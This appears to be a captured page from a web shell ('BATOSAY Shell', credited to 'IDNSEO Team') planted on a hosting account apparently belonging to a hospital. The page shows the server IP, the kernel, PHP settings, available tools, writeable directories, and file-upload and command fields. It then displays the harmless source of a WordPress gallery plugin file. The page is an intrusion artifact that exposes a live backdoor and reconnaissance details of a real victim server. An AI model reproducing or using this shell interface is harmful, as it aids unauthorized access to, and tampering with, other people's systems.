BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.38
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home1/deltahospital/www/wp-content/plugins/fancy-gallery/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home1/deltahospital/www/wp-content/plugins/fancy-gallery/classes/scripts.php
<?php Namespace WordPress\Plugin\GalleryManager;

abstract class Scripts {

  static function init(){
    add_Action('wp_enqueue_scripts', Array(static::class, 'enqueueScripts'));
    add_Action('admin_init', Array(static::class, 'registerAdminScripts'));
  }

  static function enqueueScripts(){
    $arr_options = Options::get();
    unset($arr_options['disable_update_notification'], $arr_options['update_username'], $arr_options['update_password']);
    $arr_options['ajax_url'] = Admin_Url('admin-ajax.php');

    WP_Register_Script('gallery-manager', Core::$base_url . '/assets/js/gallery-manager.js', Array('jquery'), Core::version, Options::get('script_position') != 'header');
    WP_Localize_Script('gallery-manager', 'GalleryManager', $arr_options);

    if (Options::get('lightbox')) WP_Enqueue_Script('gallery-manager');
  }

  static function registerAdminScripts(){
    WP_Register_Script('dynamic-gallery', Core::$base_url . '/assets/js/dynamic-gallery.js', Array('jquery'), Null, True);
    WP_Localize_Script('dynamic-gallery', 'DynamicGallery', Array(
      'warn_remove_image' => I18n::t('Do you want to remove this image from the gallery? It will not be deleted from your media library.')
    ));

    WP_Register_Script('gallery-meta-boxes', Core::$base_url . '/meta-boxes/meta-boxes.js', Array('jquery', 'dynamic-gallery'), Core::version, True);
  }

}

Scripts::init();

Batosay - 2023
IDNSEO Team